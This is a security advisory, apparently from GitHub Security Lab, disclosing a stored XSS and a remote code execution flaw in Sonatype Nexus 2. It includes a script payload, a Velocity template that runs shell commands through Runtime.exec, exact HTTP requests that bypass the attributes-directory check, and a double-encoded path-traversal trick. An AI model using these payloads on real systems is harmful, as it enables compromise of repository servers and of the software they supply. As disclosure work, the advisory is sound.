Coordinated Disclosure Timeline

Summary

Sonatype Nexus 2 is affected by multiple high severity vulnerabilities, including Stored Cross-Site Scripting (XSS) and Remote Code Execution (RCE) via Velocity Template Evaluation. The first Cross-Site Scripting vulnerability in the artifact’s content allows unauthenticated users to perform privileged actions on the victim’s browser. Remote Code Execution via Velocity Template Evaluation is possible due to improper access restrictions on the ‘/.nexus/attributes’ directory.

Project

Sonatype Nexus 2

Tested Version

v2.15.1

Details

Issue 1: Stored XSS in artifact’s content (GHSL-2024-075)

As a Maven repository manager, Nexus 2 provides the ability to view an artifact’s content in the browser, as well as perform administrative tasks via API. The problem is that the artifact’s content is served via the same origin (protocol/host/port) as the Admin UI. Therefore, if an authenticated user views the artifact’s content, the javascript inside can make authenticated HTTP requests to the Admin area. The cookies will be automatically added to these HTTP requests. It’s especially dangerous in scenarios where Nexus is configured to mirror third party repositories, like the Maven Central Repository. Since anyone can publish an artifact to Maven Central under its own name, such malicious packages can be used to attack the Nexus instance.

Steps to reproduce:

To demonstrate this vulnerability, start Nexus with default settings at 127.0.0.1:8043 and create a new ‘proxy’ repository that points to https://artsploit.com/maven/. This is my own website intended to emulate http://repo1.maven.org/, but it also contains a proof-of-concept payload for this vulnerability. Technically I could publish this payload to Maven Central Repository, but I don’t want to clutter it.

image

Then, as an administrator or authenticated Nexus user, navigate to http://127.0.0.1:8043/nexus/content/repositories/test/com/artsploit/xss/1.0/xss-1.0.pom in the browser. This file contains the basic application/xml payload:

<?xml version="1.0" encoding="UTF-8"?>
<project:script xmlns:project="http://www.w3.org/1999/xhtml">
    alert(document.location)
</project:script>

The script will be executed within the http://127.0.0.1:8043/ origin.

image

Impact

This issue may lead to full compromise of the Nexus instance . If this attack is performed against an admin user, it’s possible to use the admin API to modify settings and artifacts on the instance. In the worst case scenario, an attacker can obtain remote code execution on all systems that use artifacts from Nexus.

It’s important to note that the attacker does not need to lure a victim user to use a malicious artifact, but just open a link in the browser. This link can be silently loaded among the other HTML content, making this attack unnoticeable.

Even if the Nexus instance is located in an isolated environment, such as behind a VPN or in the local network, this attack is still possible as it can be performed from the admin browser.

Issue 2: Remote Code Execution via metadata overwrite (GHSL-2024-076)

Nexus 2 uses the local filesystem to store Maven artifacts, following the Maven Repository Layout. For every Maven repository, Nexus creates a separate folder, so for the repository with name ‘test’ it will store all artifacts in the ‘/sonatype-work/storage/test/’ directory. An example artifact ‘com.artsploit:nexus-rce:1.0:html’ located at the repository ‘test’ is translated to the path as:

/sonatype-work/storage/test/com/artsploit/nexus-rce/1.0/nexus-rce-1.0.html

This artifact’s content can be accessed by sending the following HTTP request to Nexus:

GET /nexus/content/repositories/test/com/artsploit/nexus-rce/1.0/nexus-rce-1.0.html

Internally, Nexus also creates a special subdirectory ‘.nexus/attributes’. So for the example above it will also create a file ‘/storage/test/.nexus/attributes/com/artsploit/nexus-rce/1.0/nexus-rce-1.0.html’ with the following JSON content:

{"digest.sha256":"ab6e5f859a5a95a1548ba0c1c3f2ea50b30e959504b27504352f8e93c69543f2","storageItem-readable":"true","storageItem-expired":"false","storageItem-modified":"1709898129000","storageItem-repositoryId":"test","digest.sha512":"9e7bf7878876f57524066f822849be3d73a81c7e8b250591d571355df942a9dbe30d3ca2e69262d8c78dc57b16a23100c791aefea0cc5d0d932537b3235472a1","storageItem-lastRequested":"1715078624521","storageItem-storedLocally":"1715078624475","request.address":"172.17.0.1","storageItem-writable":"true","digest.md5":"380e6bd5a890f1ea4d0533369a74bb28","storageItem-created":"1709898129000","request.user":"anonymous","storageItem-path":"/com/artsploit/nexus-rce/1.0/nexus-rce-1.0.html","storageItem-remoteUrl":"https://artsploit.com/maven/com/artsploit/nexus-rce/1.0/nexus-rce-1.0.html","storageItem-checkedRemotely":"1715078624475","storageItem-generation":"1","digest.sha1":"78813f95369141cfa39e34308b3eeb8aab719784"}

This file is used to store artifact’s attributes, such as creation date, last access date, SHA checksums etc. The access to this ‘internal’ directory is prohibited via HTTP with a special check:

image

At the same time, I figured out that we can circumvent this protection by using a different prefix (‘/nexus/service/local/repositories/test/content/’ instead of ‘/nexus/content/repositories/test/’) and by using a double slash before the ‘.nexus/attributes’:

image

Reading local attributes is probably not that interesting for attackers, but the same bug can be abused to overwrite them using PUT HTTP requests instead of GET. By default, Nexus does not allow to update artifact’s content in its release repositories, but we can update the attributes of any ‘maven-metadata.xml’ file:

image

For the exploitation purposes, I discovered one of the supported attributes that is particularly interesting: "contentGenerator":"velocity". If present, this attribute changes the way how the artifact’s content is rendered, enabling resolution of Velocity templates in the artifact’s content. So if we upload the ‘maven-metadata.xml’ file with the following content:

image

And then reissue the previous PUT request to update the attributes, the content of the ‘maven-metadata.xml’ file will be rendered as a Velocity template.

image

The velocity template I used in the example above triggers the execution of the java.lang.Runtime.getRuntime().exec("id") command.

Steps to reproduce

There are multiple ways how we can trigger this vulnerability and they require different privileges.

The simplest way requires attackers to have privileges to upload an artifact:

  1. Login to Nexus instance and obtain the NXSESSIONID cookie for the current user.
  2. Send the following HTTP request to upload a new artifact:
PUT /nexus/service/local/repositories/releases/content/com/artsploit/nexus-rce/maven-metadata.xml HTTP/1.1
Host: localhost:8043
Content-Type: text/xml
Cookie: NXSESSIONID=5cc22778-b354-49be-bded-71c2ecefebd5
Content-Length: 482


#set($engine="")
#set($run=$engine.getClass().forName("java.lang.Runtime"))
#set($runtime=$run.getRuntime())
#set($proc=$runtime.exec("id"))
#set($null=$proc.waitFor())
#set($istr=$proc.getInputStream())
#set($chr=$engine.getClass().forName("java.lang.Character"))
#set($output="")
#set($string=$engine.getClass().forName("java.lang.String"))
#foreach($i in [1..$istr.available()])
#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
#end
$output

Note that you need to replace your repository name (“releases”) in the URL and the cookie value (“5cc22778-b354-49be-bded-71c2ecefebd5”) to your values.

  1. Next, send another request to update the attributes:
PUT /nexus/service/local/repositories/releases/content//.nexus/attributes/com/artsploit/nexus-rce/maven-metadata.xml HTTP/1.1
Host: localhost:8043
Content-Type: application/json
Cookie: NXSESSIONID=5cc22778-b354-49be-bded-71c2ecefebd5
Content-Length: 31

{"contentGenerator":"velocity"}
  1. Finally, you need to send a GET request to trigger the resolution of the template:
GET /nexus/service/local/repositories/releases/content/com/artsploit/nexus-rce/maven-metadata.xml HTTP/1.1
Host: localhost:8043

If all went well, you should be able to see something like uid=200(nexus) gid=200(nexus) groups=200(nexus) in the response. It shows the output of the execution of the id shell command.

!Important: There is also another way to trigger this vulnerability when Nexus has one of the ‘proxy’ repositories, which is by default. If an attacker is able to publish an artifact into the upstream repository, it’s possible to exploit this vulnerability without any authentication on Nexus.

  1. To demonstrate this vulnerability, we can start Nexus with default settings at 127.0.0.1:8043 and create a new ‘proxy’ repository that points to https://artsploit.com/maven/. This is my own website intended to emulate an upstream repository that contains a proof-of-concept payload for this vulnerability.

  2. Then, an attacker would simply need to send the following unauthenticated request to Nexus:

GET /nexus/service/local/repositories/test/content/com/artsploit/nexus-rce/maven-metadata.xml

It fetches ‘com/artsploit/nexus-rce/maven-metadata.xml’ from the upstream repository and saves it to the Nexus’s file system.

  1. Next, we send an additional request to update the attributes:
GET /nexus/service/local/repositories/test/content//.nexus/attributes/com/artsploit/nexus-rce/maven-metadata.xml?isRemote=true

Note that the ‘isRemote=true’ parameter is mandatory here, as it forces Nexus to refresh the local attributes file with the upstream’s version.

  1. Finally, we need to send an additional GET request to trigger the resolution of the template:
GET /nexus/service/local/repositories/test/content/com/artsploit/nexus-rce/maven-metadata.xml

On this step Nexus just returns the local version and renders it, triggering the RCE.

Impact

This issue may lead to Remote Code Execution via Velocity template evaluation. Privileges to upload an artifact are required to exploit this vulnerability, but in cases when an attacker is able to publish an artifact to one of the repositories Nexus is proxying to, the vulnerability can also be exploited without authentication on the Nexus instance.

Note on impact

You may reasonably assume that publishing an artifact with Maven Group ID that starts with ‘.nexus/attributes’ may be unrealistic in popular upstream repositories like Maven Central, Apache Snapshots or JitPack. While I could not test this myself due to lack of legal permissions, I noticed that one may publish an artifact with the group ID of ‘org.example’ and then force Nexus to save it as /.nexus/attributes/… with the following trick:

GET /nexus/service/local/repositories/apache-snapshots/content//.nexus/attributes/%252e./%252e./com/sbt/ignite/ignite-bom/maven-metadata.xml

image

When processing this request, Nexus decoded the URL path twice to ‘/.nexus/attributes/../../com/sbt/ignite/ignite-bom/maven-metadata.xml’ and forwards it to the Apache Snapshots upstream repository.

Then, Apache’s repository reasonably performs URI normalization and returns the content of ‘com/sbt/ignite/ignite-bom/maven-metadata.xml’.

At the same time, Nexus uses ‘/.nexus/attributes/%2e./%2e./com/sbt/ignite/ignite-bom/maven-metadata.xml’ as a path to store the artifact on the local system:

image

This allows you to store an artifact with an arbitrary name from Apache Snapshots to the ‘/.nexus/attributes/’ directory.

Note that Apache Snapshots is enabled by default in the Nexus installation. Also, as I mentioned earlier, pulling artifacts from it does not require any permissions on Nexus: It can be done with a simple GET request without any Cookies.

A real attacker would probably try to publish their own artifact to the Apache Snapshots repository and therefore use it to attack all Nexus instances worldwide. Additionally, it’s possible to enumerate all the Apache user names and their emails. Perhaps some of their credentials can be found on websites that accumulate leaked passwords, but testing these kinds of attacks lies beyond the legal and moral scope of my research.

Credit

These issues were discovered and reported by GHSL team member @artsploit (Michael Stepankin).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-075 or GHSL-2024-076 in any communication regarding these issues.